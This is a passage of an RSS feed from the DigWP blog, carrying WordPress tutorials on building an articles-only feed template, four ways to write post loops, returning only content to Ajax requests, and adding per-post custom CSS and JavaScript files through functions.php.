			<content:encoded><![CDATA[<p>WordPress makes it easy to publish content in any number of categories, with any number of tags, and with any type of custom post format. So for example, in addition to full articles, you could also offer screencasts, links, side posts, tweets, and all sorts of other peripheral content. Complementary material may work great for visitors surfing around your site, but including all of that extra stuff in your RSS feed dilutes the potency of your main articles. The idea here is that your visitors will subscribe to the more <em>focused</em> content.</p>
<p><span id="more-5179"></span></p>
<p>In this post, we create a custom, &#8220;articles-only&#8221; feed for visitors who want to subscribe to the main content only, without all the side stuff. The technique is actually pretty flexible, and works great to create just about <em>any</em> type of custom WordPress feed content. It&#8217;s pretty easy to do, requiring a whopping two steps to make it happen..</p>
<h3>Step 1: Create the custom page template</h3>
<p>Go to your theme directory and create a new <abbr title="PHP: Hypertext Preprocessor">PHP</abbr> file named <code>article-feed.php</code>. Then add the following code (don&#8217;t worry it&#8217;s actually not that bad):</p>
<pre><code>&lt;?php 
/* 
Template Name: Article Feed
*/
$numposts = 10; // number of posts in feed
$posts = query_posts('showposts='.$numposts.'&amp;cat=3');
$more = 1;

header('Content-Type: '.feed_content_type('rss-http').'; charset='.get_option('blog_charset'), true);
echo '&lt;?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'&gt;';
?&gt;

&lt;rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	&lt;?php do_action('rss2_ns'); ?&gt;
&gt;
&lt;channel&gt;
	&lt;title&gt;&lt;?php bloginfo_rss('name'); wp_title_rss(); ?&gt; - Article Feed&lt;/title&gt;
	&lt;atom:link href="&lt;?php self_link(); ?&gt;" rel="self" type="application/rss+xml" /&gt;
	&lt;link&gt;&lt;?php bloginfo_rss('url') ?&gt;&lt;/link&gt;
	&lt;description&gt;&lt;?php bloginfo_rss("description") ?&gt;&lt;/description&gt;
	&lt;lastBuildDate&gt;&lt;?php echo mysql2date('D, d M Y H:i:s +0000', get_lastpostmodified('GMT'), false); ?&gt;&lt;/lastBuildDate&gt;
	&lt;?php the_generator( 'rss2' ); ?&gt;
	&lt;language&gt;&lt;?php echo get_option('rss_language'); ?&gt;&lt;/language&gt;
	&lt;sy:updatePeriod&gt;&lt;?php echo apply_filters( 'rss_update_period', 'hourly' ); ?&gt;&lt;/sy:updatePeriod&gt;
	&lt;sy:updateFrequency&gt;&lt;?php echo apply_filters( 'rss_update_frequency', '1' ); ?&gt;&lt;/sy:updateFrequency&gt;
	&lt;?php do_action('rss2_head'); ?&gt;
	&lt;?php while( have_posts()) : the_post(); ?&gt;

	&lt;item&gt;
		&lt;title&gt;&lt;?php the_title_rss(); ?&gt;&lt;/title&gt;
		&lt;link&gt;&lt;?php the_permalink_rss(); ?&gt;&lt;/link&gt;
		&lt;comments&gt;&lt;?php comments_link(); ?&gt;&lt;/comments&gt;
		&lt;pubDate&gt;&lt;?php echo mysql2date('D, d M Y H:i:s +0000', get_post_time('Y-m-d H:i:s', true), false); ?&gt;&lt;/pubDate&gt;
		&lt;dc:creator&gt;&lt;?php the_author(); ?&gt;&lt;/dc:creator&gt;
&lt;?php the_category_rss(); ?&gt;
		&lt;guid isPermaLink="false"&gt;&lt;?php the_guid(); ?&gt;&lt;/guid&gt;
&lt;?php if (get_option('rss_use_excerpt')) : ?&gt;

		&lt;description&gt;&lt;![CDATA[&lt;?php the_excerpt_rss() ?&gt;]]&gt;&lt;/description&gt;
&lt;?php else : ?&gt;

		&lt;description&gt;&lt;![CDATA[&lt;?php the_excerpt_rss() ?&gt;]]&gt;&lt;/description&gt;
	&lt;?php if ( strlen( $post-&gt;post_content ) &gt; 0 ) : ?&gt;

		&lt;content:encoded&gt;&lt;![CDATA[&lt;?php the_content() ?&gt;]]&gt;&lt;/content:encoded&gt;
	&lt;?php else : ?&gt;

		&lt;content:encoded&gt;&lt;![CDATA[&lt;?php the_excerpt_rss() ?&gt;]]&gt;&lt;/content:encoded&gt;
	&lt;?php endif; ?&gt;
&lt;?php endif; ?&gt;

		&lt;wfw:commentRss&gt;&lt;?php echo get_post_comments_feed_link(); ?&gt;&lt;/wfw:commentRss&gt;
		&lt;slash:comments&gt;&lt;?php echo get_comments_number(); ?&gt;&lt;/slash:comments&gt;
&lt;?php rss_enclosure(); ?&gt;
&lt;?php do_action('rss2_item'); ?&gt;

	&lt;/item&gt;
	&lt;?php endwhile; ?&gt;

&lt;/channel&gt;
&lt;/rss&gt;</code></pre>
<p>This is basically just a typical WordPress feed template, but with some extra query action to make it do what we want. In the first few lines of code, we specify how many posts to display, which categories to include, and whether to display full posts or excerpts:</p>
<pre><code>$numposts = 10; // number of posts in feed
$posts = query_posts('showposts='.$numposts.'&amp;cat=3');
$more = 1;</code></pre>
<p>Using this default code, the custom feed will show 10 posts from category 3. And with <code>$more</code> set to <code>1</code>, the <em>full</em> article will be included in the feed. This is where you customize your new feed to include whatever you want. So for example, if we post articles in three different categories, say with IDs of <code>1</code>, <code>2</code>, and <code>3</code>, we would modify our code to look like this:</p>
<pre><code>$numposts = 10; // number of posts in feed
$posts = query_posts('showposts='.$numposts.'&amp;cat=1,2,3');
$more = 1;</code></pre>
<p>The <code>query_posts</code> function is quite flexible and provides all of the parameters needed to set up just about any customized feed content. You can exclude/include categories, display specific types of posts, change the number of posts displayed, and so much more. For a full list of options, check out <a href="http://codex.wordpress.org/Function_Reference/query_posts">query_posts at the WordPress Codex</a>.</p>
<h3>Step 2: Create the custom Page in the WP Admin</h3>
<p>Once you have the custom Page Template uploaded to your server, log into the WordPress Admin and visit the &#8220;Add New Page&#8221; screen (<strong>Pages &gt; Add New</strong>). Create a new page named &#8220;Articles-Only Feed&#8221; (or whatever), and select the newly added &#8220;articles&#8221; page template from the drop-down menu:</p>
<p><img src="http://digwp.com/wp-content/blog-images/articles-only-template.gif" alt="" /></p>
<p>While you&#8217;re there in the Admin creating this new custom-feed page, take a moment to be mindful of the feed <abbr title="Uniform Resource Locator">URL</abbr> and title, which may be set to whatever works best:</p>
<p><img src="http://digwp.com/wp-content/blog-images/articles-only-page.gif" alt="" /></p>
<p>Once everything is ready, finish it up by publishing the page to your site. Then check that your new feed is working by visiting the URL of the new page you just created in the WP Admin. Here at <a href="http://digwp.com/">DigWP.com</a>, our articles-only feed is available at <a href="http://digwp.com/articles/" title="DigWP.com - Articles Feed"><code>http://digwp.com/articles/</code></a>.</p>
<h3>Wrap-up + additional resources</h3>
<p>In addition to the easy-breezy two-step custom-feed tutorial in this post, here are some additional resources that are sort of related to this general topic:</p>
<ul>
<li><a href="http://digwp.com/2011/04/tumblr-links-post-formats/">Tumblr Links with Post Formats</a></li>
<li><a href="http://digwp.com/2009/09/easy-custom-feeds-in-wordpress/">Easy Custom Feeds in WordPress</a></li>
<li><a href="http://digwp.com/2009/09/tumblr-style-links-for-posts-and-feeds/">How to Implement Tumblr-Style Links for Posts and Feeds</a></li>
</ul>
<hr />
<p><small>© 2011 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2011/08/custom-feeds/">Permalink</a> | <a href="http://digwp.com/2011/08/custom-feeds/#comments">12 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2011/08/custom-feeds/&title=Create an Articles-Only Feed">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/feeds/" rel="tag">feeds</a>, <a href="http://digwp.com/tag/functions/" rel="tag">functions</a>, <a href="http://digwp.com/tag/php/" rel="tag">PHP</a>, <a href="http://digwp.com/tag/query_posts/" rel="tag">query_posts</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2011/08/custom-feeds/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>4 Ways to Loop with WordPress</title>
		<link>http://digwp.com/2011/05/loops/</link>
		<comments>http://digwp.com/2011/05/loops/#comments</comments>
		<pubDate>Wed, 11 May 2011 16:44:06 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Theme]]></category>
		<category><![CDATA[loop]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[query_posts]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=4013</guid>
		<description><![CDATA[At the heart of the WordPress theme template is the venerable WordPress loop. When you&#8217;re looking at your index.php file, for example, the loop is the part that typically begins with if(have_posts()) and contains all the tags and markup used to generate the page. The default loop works perfectly well for most single-loop themes, but [...]]]></description>
			<content:encoded><![CDATA[<p>At the heart of the WordPress theme template is the venerable WordPress loop. When you&#8217;re looking at your <code>index.php</code> file, for example, the loop is the part that typically begins with <code>if(have_posts())</code> and contains all the tags and markup used to generate the page. The default loop works perfectly well for most single-loop themes, but for more advanced designs with stuff like multiple and custom loops, more looping power is needed. Fortunately, WordPress provides plenty of flexibility with  <strong>four ways to loop</strong>:</p>
<p><span id="more-4013"></span></p>
<ul>
<li><a href="#default-loop">Default Loop</a></li>
<li><a href="#query-posts">Loop with query_posts()</a></li>
<li><a href="#wp-query">Loop with WP_Query()</a></li>
<li><a href="#get-posts">Loop with get_posts()</a></li>
</ul>
<p>Each of these looping methods is useful in a variety of situations. They share a lot of the same underlying functionality, and the query parameters are essentially the same. Collectively, these four techniques enable simple loops, multiple loops, and custom loops in your WordPress theme template. A good place to find a default loop, for example, is in your theme&#8217;s <code>index.php</code> file. Its purpose is to loop through the posts stored in the database and echo their contents to the browser. Using WordPress&#8217; template tags, it&#8217;s easy to display post titles, content, meta info, and much more. That said, let&#8217;s examine the four ways to loop with WordPress.</p>
<h3 id="default-loop">The Default Loop</h3>
<p>The default <a href="http://codex.wordpress.org/The_Loop">WordPress loop</a> looks something like this:</p>
<pre><code>&lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&gt;

	&lt;div &lt;?php post_class(); ?&gt; id="post-&lt;?php the_ID(); ?&gt;"&gt;
		&lt;h1&gt;&lt;a href="&lt;?php the_permalink(); ?&gt;"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/h1&gt;
		&lt;?php the_content(); ?&gt;
	&lt;/div&gt;

&lt;?php endwhile; ?&gt;

	&lt;div class="navigation"&gt;
		&lt;div class="next-posts"&gt;&lt;?php next_posts_link(); ?&gt;&lt;/div&gt;
		&lt;div class="prev-posts"&gt;&lt;?php previous_posts_link(); ?&gt;&lt;/div&gt;
	&lt;/div&gt;

&lt;?php else : ?&gt;

	&lt;div &lt;?php post_class(); ?&gt; id="post-&lt;?php the_ID(); ?&gt;"&gt;
		&lt;h1&gt;Not Found&lt;/h1&gt;
	&lt;/div&gt;

&lt;?php endif; ?&gt;</code></pre>
<p>So what makes it &#8220;default&#8221;? Mostly because it uses the <em>default query</em> to loop through post content, making it the loop used like 99% of the time for most themes. It tells WordPress to loop through posts and display the information according to context, and as called by the various template tags (<code>the_title</code>, <code>the_content</code>, et al). There are tags available for just about any type of data stored in the database. </p>
<p>Based on the query that is sent, the default loop will display a certain number of posts from a certain category from a certain date, and so on. For example, the number of posts displayed in the first part of the loop is specified in the WP Admin. So if someone requests the second page of your &#8220;Awesome&#8221; category, that information is sent via the query, along with the number of posts, theme template file, and so on.</p>
<p>So the default loop is perfect if you&#8217;re happy with the query that is sent, but it is also possible to customize the query and generate an entirely different set of posts.</p>
<h3 id="query-posts">Loop with query_posts()</h3>
<p>The <a href="http://codex.wordpress.org/Function_Reference/query_posts">query_posts</a> function enables us to modify the query and display our desired results. We can either override the entire query or keep it around and just change a few parameters. Here&#8217;s an example where <code>query_posts</code> is called before the default loop to exclude a specific category:</p>
<pre><code>&lt;?php global $query_string; // required
$posts = query_posts($query_string.'&amp;cat=-9'); // exclude category 9

&lt;?php // DEFAULT LOOP GOES HERE ?&gt;

&lt;?php wp_reset_query(); // reset the query ?&gt;</code></pre>
<p>Say you have a default loop in your <code>index.php</code> theme template, but you want to change the number of posts, exclude two categories, and display the results in ascending order. Easy. Just add some <code>query_posts</code> action <em>before</em> the default loop and <code>wp_reset_query</code> immediately <em>after</em>, like this:</p>
<pre><code>&lt;?php global $query_string; // required
$posts = query_posts($query_string.'&amp;posts_per_page=3&amp;cat=-6,-9&amp;order=ASC');

&lt;?php // DEFAULT LOOP GOES HERE ?&gt;

&lt;?php wp_reset_query(); // reset the query ?&gt;</code></pre>
<p>Here we are keeping the original query around and just overriding a few parameters. There are <a href="http://codex.wordpress.org/Function_Reference/WP_Query#Parameters">many parameters available</a>, so customizing any default loop is accomplished quite easily. If we wanted to completely override the original query, we would replace the second line with something like this:</p>
<p><code>$posts = query_posts('posts_per_page=3&amp;cat=-6,-9&amp;order=ASC');</code></p>
<p>Notice here that we&#8217;ve removed the <code>$query_string</code> from the <code>query_posts</code> parameters. This essentially erases the default query and replaces it with one that contains only those variables included in <code>query_posts</code>. This means no paging information will be available, so remove the original query only if you know what you&#8217;re doing.</p>
<p><strong>When to use?</strong> Use <code>query_posts</code> to modify the type of posts that are returned for a single loop. It’s perfect for limiting the number of posts, excluding posts from a certain category or tag, and so on. If <em>more than one loop</em> is required, multiple <code>query_posts</code> loops <em>could</em> work, but there is a much better way to do it using <code>WP_Query</code>.</p>
<h3 id="wp-query">Loop with WP_Query()</h3>
<p>For <em>complete control</em> over the customization of <em>any number</em> of loops, <a href="http://codex.wordpress.org/Function_Reference/WP_Query">WP_Query</a> is the way to go. When used to modify a default loop, it looks similar to <code>query_posts</code>. For example, let&#8217;s exclude a specific category using <code>WP_Query</code>:</p>
<pre><code>&lt;?php $custom_query = new WP_Query('cat=-9'); // exclude category 9
while($custom_query-&gt;have_posts()) : $custom_query-&gt;the_post(); ?&gt;

	&lt;div &lt;?php post_class(); ?&gt; id="post-&lt;?php the_ID(); ?&gt;"&gt;
		&lt;h1&gt;&lt;a href="&lt;?php the_permalink(); ?&gt;"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/h1&gt;
		&lt;?php the_content(); ?&gt;
	&lt;/div&gt;

&lt;?php endwhile; ?&gt;
&lt;?php wp_reset_postdata(); // reset the query ?&gt;</code></pre>
<p>It also accepts the same parameters as <code>query_posts</code>, so modifying stuff like number of posts, included/excluded categories, and post order looks quite familiar. As seen in the following examples, <code>WP_Query</code> makes it easy to customize the loop by simply changing the parameter:</p>
<pre><code>$custom_query = new WP_Query('cat=-7,-8,-9'); // exclude any categories
$custom_query = new WP_Query('posts_per_page=3'); // limit number of posts
$custom_query = new WP_Query('order=ASC'); // reverse the post order</code></pre>
<p>As expected, we can combine parameters with <code>WP_Query</code> using the same syntax as both <code>query_posts</code> and <code>get_posts</code>. Here’s the equivalent of our <code>query_posts</code> example:</p>
<p><code>$custom_query = new WP_Query('posts_per_page=3&amp;cat=-6,-9&amp;order=ASC');</code></p>
<p>Notice, however, that with <code>WP_Query</code>, we don’t need the <code>$query_string</code> variable. In addition to using <code>WP_Query</code> to customize the default loop, we can also use it to create and customize multiple loops. Here is a basic example:</p>
<pre><code>&lt;?php // Loop 1
$first_query = new WP_Query('cat=-1'); // exclude category
while($first_query-&gt;have_posts()) : $first_query-&gt;the_post();
...
endwhile;
wp_reset_postdata();

// Loop 2
$second_query = new WP_Query('cat=-2'); // exclude category
while($second_query-&gt;have_posts()) : $second_query-&gt;the_post();
...
endwhile;
wp_reset_postdata();

// Loop 3
$third_query = new WP_Query('cat=-3'); // exclude category
while($third_query-&gt;have_posts()) : $third_query-&gt;the_post();
...
endwhile;
wp_reset_postdata();
?&gt;</code></pre>
<p>Each of these additional loops may be placed anywhere in your theme template &ndash; no need to line them up sequentially. For example, one loop may be placed in your sidebar, another in your footer, and so on. And with the output of each loop easily modified using any of the available parameters, any loop configuration is possible.</p>
<p><strong>When to use?</strong> Use <code>WP_Query</code> for creating multiple, customized loops. By setting up additional instances of <code>WP_Query</code> in your theme, you can create any number of multiple loops, and customize the output of each. </p>
<p>Even so, we don&#8217;t always need to break out the big guns, sometimes we just need a few additional loops displayed around the page. So let&#8217;s put down the bazookas and gather in the garden for some <code>get_posts</code> tea&nbsp;;)</p>
<h3 id="get-posts">Loop with get_posts()</h3>
<p>The easiest, safest way to create multiple loops in your theme is to use <a href="http://codex.wordpress.org/Template_Tags/get_posts">get_posts()</a>. Anywhere you need to display a quick, <em>static</em> set of posts, <code>get_posts</code> is the perfect choice. Think 10 recent posts in the sidebar, or 10 random posts in the footer. <code>get_posts</code> makes it easy. Here again is a query to exclude a specific category:</p>
<pre><code>&lt;?php global $post; // required
$args = array('category' =&gt; -9); // exclude category 9
$custom_posts = get_posts($args);
foreach($custom_posts as $post) : setup_postdata($post);
...
endforeach;
?&gt;</code></pre>
<p>This code creates a loop of all posts except those in the excluded category. Of course, excluding a category is just one way to customize your additional, static loops. By using any of the same parameters accepted by <code>WP_Query</code> and <code>query_posts</code>, it&#8217;s possible to create loops that display just about anything you want.</p>
<p>Notice, however, that <code>get_posts</code> requires the use of an <strong>array</strong> for the parameters. The format for multiple parameters looks like this (using our previous example):</p>
<p><code>$args = array('numberposts'=&gt;3, 'category'=&gt;-6,-9,  'order'=&gt;'ASC');</code></p>
<p>Also notice that we&#8217;re using <code>numberposts</code> instead of <code>posts_per_page</code> to limit the number of posts. According to the WP Codex, <code>posts_per_page</code> should work with <code>get_posts</code>, but if it doesn&#8217;t just go with <code>numberposts</code>. There is also a <code>showposts</code> parameter that also seems to work fine with <code>get_posts</code>.</p>
<p><strong>When to use?</strong> Use the <code>get_posts()</code> function to easily create additional, static loops anywhere in your theme. <code>get_posts</code> accepts the same parameters as <code>query_posts</code>, and is perfect for adding static, custom loops to your sidebar, footer, or anywhere else.</p>
<h3>30-Second Summary</h3>
<p>The bottom line for customizing default loops and creating multiple loops:</p>
<ul>
<li>To modify the default loop, use <code>query_posts()</code></li>
<li>To modify loops and/or create multiple loops, use <code>WP_Query()</code></li>
<li>To create static, additional loops, use <code>get_posts()</code></li>
</ul>
<p>If you&#8217;re working with WordPress loops and want to learn more about using them to customize your theme, we cover the topic extensively in our book, <a href="http://digwp.com/" title="Complete WordPress Guide">Digging into WordPress</a>, which is current with WordPress 3.1&nbsp;:)</p>
<hr />
<p><small>© 2011 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2011/05/loops/">Permalink</a> | <a href="http://digwp.com/2011/05/loops/#comments">31 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2011/05/loops/&title=4 Ways to Loop with WordPress">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/loop/" rel="tag">loop</a>, <a href="http://digwp.com/tag/php/" rel="tag">PHP</a>, <a href="http://digwp.com/tag/query_posts/" rel="tag">query_posts</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2011/05/loops/feed/</wfw:commentRss>
		<slash:comments>31</slash:comments>
		</item>
		<item>
		<title>Ajax Requested Page Return Only Content</title>
		<link>http://digwp.com/2011/02/ajax-requested-page-return-only-content/</link>
		<comments>http://digwp.com/2011/02/ajax-requested-page-return-only-content/#comments</comments>
		<pubDate>Wed, 02 Feb 2011 15:42:32 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[pages]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=3623</guid>
		<description><![CDATA[I posted a little tip on CSS-Tricks the other day about how you can load only parts of other pages on a site via Ajax, and how to do that without needing additional HTML wrapping elements to keep it clean. A common criticism of this is that the Ajax request still loads the entire page, [...]]]></description>
			<content:encoded><![CDATA[<p>I posted <a href="http://css-tricks.com/ajax-load-container-contents/">a little tip</a> on CSS-Tricks the other day about how you can load only parts of other pages on a site via Ajax, and how to do that without needing additional HTML wrapping elements to keep it clean. A common criticism of this is that the Ajax request still loads the entire page, using all that bandwidth, it&#8217;s just that it only places onto the page the part you specify via CSS selector.</p>
<p>Sometimes it&#8217;s hard to have discussions like this without looking at specific use case, but I see where they are coming from. Loading content you aren&#8217;t going to use is a waste of bandwidth. It does make progressive Ajax enhancements a lot easier though. And in fact, that&#8217;s how the ALL AJAX theme here on this site works. </p>
<p>This had me thinking though&#8230; if WordPress pages could be smart enough to know if they are being requested normally or via Ajax, they could return only the appropriate content. <span id="more-3623"></span> Turns out <a href="http://davidwalsh.name/detect-ajax">PHP can detect this</a>. So here is the basic idea:</p>
<pre><code>&lt;?php 

/* Page template, or single.php, or any other typical 
    theme file in charge of displaying a whole page */

the_post();

/* Ajax check  */
if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) &amp;&amp; strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') { ?&gt;

  /* This is Ajax: Return ONLY content */
  &lt;h1&gt;&lt;?php the_title(); ?&gt;&lt;/h1&gt;
  &lt;?php the_content(); ?&gt;

&lt;?php } else { ?&gt;

  /* Normal request: Return everything (header, sidebar, content, etc) */

  &lt;?php get_header(); ?&gt;

  &lt;section id="main-content"&gt;
  	&lt;article class="post" id="post-&lt;?php the_ID(); ?&gt;"&gt;
  		&lt;h1&gt;&lt;?php the_title(); ?&gt;&lt;/h1&gt;
  		&lt;?php the_content(); ?&gt;
  	&lt;/article&gt;
  &lt;/section&gt;

  &lt;?php get_sidebar(); ?&gt;
  &lt;?php get_footer(); ?&gt;

&lt;?php } ?&gt;</code></pre>
<p>I haven&#8217;t tested this but it seems like a reasonable solution to me. Anyone have any experience trying something like this?</p>
<hr />
<p><small>© 2011 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2011/02/ajax-requested-page-return-only-content/">Permalink</a> | <a href="http://digwp.com/2011/02/ajax-requested-page-return-only-content/#comments">16 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2011/02/ajax-requested-page-return-only-content/&title=Ajax Requested Page Return Only Content">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/ajax/" rel="tag">ajax</a>, <a href="http://digwp.com/tag/pages/" rel="tag">pages</a>, <a href="http://digwp.com/tag/php/" rel="tag">PHP</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2011/02/ajax-requested-page-return-only-content/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Specify Unique CSS File Per Post</title>
		<link>http://digwp.com/2010/05/specify-unique-css-file-per-post/</link>
		<comments>http://digwp.com/2010/05/specify-unique-css-file-per-post/#comments</comments>
		<pubDate>Mon, 10 May 2010 21:20:39 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[functions]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=2082</guid>
		<description><![CDATA[I&#8217;m a HUGE fan of being able to link up a CSS file on a per-page basis. I just find it extremely common that a page needs CSS styling unique to it, and I hate litering a sites main stylesheet with customizations that only one particular page needs. We&#8217;ve talked about this before, and even [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m a HUGE fan of being able to link up a CSS file on a per-page basis. I just find it extremely common that a page needs CSS styling unique to it, and I hate litering a sites main stylesheet with customizations that only one particular page needs. We&#8217;ve talked about this before, and even created a <a href="http://digwp.com/2010/02/custom-css-per-post/">custom method for doing so</a>, as well as mentioned the <a href="http://wordpress.org/extend/plugins/art-direction/">art direction plugin</a>, which makes this easily possible. </p>
<p>Both of those methods are still sweet, but I find in general that I like to write my CSS in actual CSS files I keep in my theme and can edit using whatever CSS editor I like, as well as keep things clean and simple in the admin. So, I&#8217;ve altered the technique a bit.</p>
<p><span id="more-2082"></span></p>
<p>The idea is to add a simple text input to the page editor, right underneath the content area, where you can manually specify the name of a CSS file. In the image below, you can see I&#8217;ve also added one for JavaScript.</p>
<p><img src="http://digwp.com/wp-content/blog-images/customfiles.png" width="590" height="177" alt="" title="" /></p>
<p>To add this to your site, it&#8217;s just some code to add to the functions.php file. Should work for any site.</p>
<pre><code>// Custom Stylesheet box in Pages/Posts
add_action('admin_menu', 'digwp_custom_css_hooks');
add_action('save_post', 'digwp_save_custom_css');
add_action('wp_head','digwp_insert_custom_css');
function digwp_custom_css_hooks() {
	add_meta_box('custom_css', 'Name of custom CSS file', 'digwp_custom_css_input', 'post', 'normal', 'high');
	add_meta_box('custom_css', 'Name of custom CSS file', 'digwp_custom_css_input', 'page', 'normal', 'high');
}
function digwp_custom_css_input() {
	global $post;
	echo '&lt;input type="hidden" name="custom_css_noncename" id="custom_css_noncename" value="'.wp_create_nonce('custom-css').'" /&gt;';
	echo '&lt;input type="text" name="custom_css" id="custom_css" style="width:100%;" value="'.get_post_meta($post-&gt;ID,'_custom_css',true).'" /&gt;';
}
function digwp_save_custom_css($post_id) {
	if (!wp_verify_nonce($_POST['custom_css_noncename'], 'custom-css')) return $post_id;
	if (defined('DOING_AUTOSAVE') &amp;&amp; DOING_AUTOSAVE) return $post_id;
	$custom_css = $_POST['custom_css'];
	update_post_meta($post_id, '_custom_css', $custom_css);
}
function digwp_insert_custom_css() {
	if (is_page() || is_single()) {
		if (have_posts()) : while (have_posts()) : the_post();
		  $filename = get_post_meta(get_the_ID(), '_custom_css', true);
		  if ($filename) {
			echo "&lt;link rel='stylesheet' type='text/css' href='" . get_bloginfo('template_url') . "/css/" . $filename . "' /&gt;";
          }
		endwhile; endif;
		rewind_posts();
	}
}</code></pre>
<p>If you are happy with just CSS only, you can stop there. If you would like the JavaScript box as well, here is that code.</p>
<pre><code>// Custom JavaScript in Pages/Posts  (...lots of repeated code, could be better)
add_action('admin_menu', 'digwp_custom_js_hooks');
add_action('save_post', 'digwp_save_custom_js');
add_action('wp_head','digwp_insert_custom_js');
function digwp_custom_js_hooks() {
	add_meta_box('custom_js', 'Name of custom JavaScript file', 'digwp_custom_js_input', 'post', 'normal', 'high');
	add_meta_box('custom_js', 'Name of custom JavaScript file', 'digwp_custom_js_input', 'page', 'normal', 'high');
}
function digwp_custom_js_input() {
	global $post;
	echo '&lt;input type="hidden" name="custom_js_noncename" id="custom_js_noncename" value="'.wp_create_nonce('custom-js').'" /&gt;';
	echo '&lt;input type="text" name="custom_js" id="custom_js" style="width:100%;" value="'.get_post_meta($post-&gt;ID,'_custom_js',true).'" /&gt;';
}
function digwp_save_custom_js($post_id) {
	if (!wp_verify_nonce($_POST['custom_js_noncename'], 'custom-js')) return $post_id;
	if (defined('DOING_AUTOSAVE') &amp;&amp; DOING_AUTOSAVE) return $post_id;
	$custom_js = $_POST['custom_js'];
	update_post_meta($post_id, '_custom_js', $custom_js);
}
function digwp_insert_custom_js() {
	if (is_page() || is_single()) {
		if (have_posts()) : while (have_posts()) : the_post();
		    $filename = get_post_meta(get_the_ID(), '_custom_js', true);
		    if ($filename) {
			 echo "&lt;script type='text/javascript' src='" . get_bloginfo('template_url') . "/js/" . $filename . "' &gt;&lt;/script&gt;";
            }
		endwhile; endif;
		rewind_posts();
	}
}</code></pre>
<p>You could probably combine these together a bit better than I have done here, it&#8217;s a bit redundant. </p>
<h3>How it Works</h3>
<p>There are three things going on here, which tap into three existing WordPress &#8220;hooks&#8221;.</p>
<ol>
<li>Adds text inputs to the page editing screen of the admin using the <code>admin_menu</code> hook and the <code>add_meta_box</code> function</li>
<li>Save the values of those text inputs when the page is saved using the <code>save_post</code> hook</li>
<li>Output <code>&lt;link&gt;</code> or <code>&lt;script&gt;</code> tags in the <code>&lt;head&gt;</code> of the site (when those values are present) using the <code>wp_head</code> hook.</li>
</ol>
<h3>The Result</h3>
<p>If you put the value &#8220;yeahbaby.css&#8221; in that input box, when that particular page loads, you are going to get this output in the <code>&lt;head&gt;</code>:</p>
<pre><code>&lt;link rel='stylesheet' type='text/css' href='http://yoursite.com/notes/wp-content/themes/your-theme/css/yeahbaby.css' /&gt;</code></pre>
<p>&#8220;yoursite.com&#8221; will obviously be your sites domain, and your-theme will the folder in which your currently active theme resides. Do keep that in mind, as should you change themes, you&#8217;ll need to move the &#8220;css&#8221; folder in that theme that contains these custom CSS files to the new theme. </p>
<h3>UPDATE (May 13, 2010)</h3>
<p>Notice how all the function names are prefixed by &#8220;digwp_&#8221; &#8211; that is in accordance to best practices described by Andrew Nacin <a href="http://www.andrewnacin.com/2010/05/11/in-wordpress-prefix-everything/">here</a>.</p>
<p>This has also been <a href="http://wordpress.org/extend/plugins/include-custom-files/">made into a plugin</a> by <a href="http://utkar.sh/">Utkarsh Kukreti</a>. Requires PHP5.</p>
<h3>Ways This Code Could Be Improved</h3>
<p>I was holding back on publishing this because there are a lot of ways it could be better. But I had mentioned it at the <a href="http://www.cmsexpo.net/">CMS Expo</a> and there was some interested and I said I would, so I&#8217;m releasing it a bit early. Here are things that could be better&#8230;</p>
<ul>
<li>Combine the functions together to create less redundancies between the CSS and JavaScript versions.</li>
<li>Allow for a comma-separated list in case multiple custom CSS files are needed.</li>
<li>Make it a plugin instead of custom functions. Add options screen to specify file path to custom CSS folder.</li>
</ul>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/05/specify-unique-css-file-per-post/">Permalink</a> | <a href="http://digwp.com/2010/05/specify-unique-css-file-per-post/#comments">21 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2010/05/specify-unique-css-file-per-post/&title=Specify Unique CSS File Per Post">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/functions/" rel="tag">functions</a>, <a href="http://digwp.com/tag/php/" rel="tag">PHP</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/05/specify-unique-css-file-per-post/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
